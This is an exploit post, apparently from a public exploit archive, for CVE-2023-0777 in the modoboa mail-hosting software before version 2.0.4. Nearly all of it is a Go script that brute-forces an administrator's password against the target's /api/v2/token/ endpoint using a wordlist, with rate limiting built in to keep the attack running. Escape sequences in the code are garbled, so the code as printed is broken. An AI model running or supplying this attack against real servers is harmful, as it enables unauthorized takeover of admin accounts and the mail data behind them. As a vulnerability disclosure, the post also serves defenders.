Authored by 7h3h4ckv157

modoboa version 2.0.4 suffers from an administrative takeover vulnerability.

advisories | CVE-2023-0777

/* # Exploit Title: modoboa  2.0.4 - Admin TakeOver 
# Description: Authentication Bypass by Primary Weakness
# Date: 02/10/2023
# Software Link: https://github.com/modoboa/modoboa
# Version: modoboa/modoboa prior to 2.0.4
# Tested on: Arch Linux
# Exploit Author: 7h3h4ckv157
# CVE: CVE-2023-0777


*/

package main

import (
"fmt"
"io/ioutil"
"net/http"
"os"
"strings"
"time"
)

func main() {
fmt.Println("nt*** ADMIN TAKEOVER ***n")
host := getInput("Enter the target host: ")
username := getInput("Enter the Admin's Name: ")
passwordFile := getInput("Provide the path for Password-Wordlist: ")


passwords, err := readLines(passwordFile)
if err != nil {
fmt.Println("Error reading password file:", err)
os.Exit(1)
}

for _, password := range passwords {
data := fmt.Sprintf("-----------------------------25524418606542250161357131552rnContent-Disposition: form-data; name="username"rnrn%srn-----------------------------25524418606542250161357131552rnContent-Disposition: form-data; name="password"rnrn%srn-----------------------------25524418606542250161357131552--rnrn", username, password)

headers := map[string]string{
"Host": host,
"User-Agent": "Anonymous",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------25524418606542250161357131552",
}

resp, err := postRequest(fmt.Sprintf("https://%s/api/v2/token/", host), headers, data)
if err != nil {
fmt.Println("Error sending request:", err)
os.Exit(1)
}

if resp.StatusCode == 200 {
fmt.Printf("ntValid password Found: %sn", password)
break
} else {
fmt.Printf("Invalid password: %sn", password)
}

// Delay the next request to limit the requests per second
delay := time.Duration(1000000000/50) * time.Nanosecond
time.Sleep(delay)
}
}

// Read the lines from a file and return them as a slice of strings
func readLines(filename string) ([]string, error) {
content, err := ioutil.ReadFile(filename)
if err != nil {
return nil, err
}
return strings.Split(string(content), "n"), nil
}

// Send a POST request with the given headers and data
func postRequest(url string, headers map[string]string, data string) (*http.Response, error) {
req, err := http.NewRequest("POST", url, strings.NewReader(data))
if err != nil {
return nil, err
}
for key, value := range headers {
req.Header.Set(key, value)
}
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
return resp, nil
}

// Get user input and return the trimmed value
func getInput(prompt string) string {
fmt.Print(prompt)
var input string
fmt.Scanln(&input)
return strings.TrimSpace(input)
}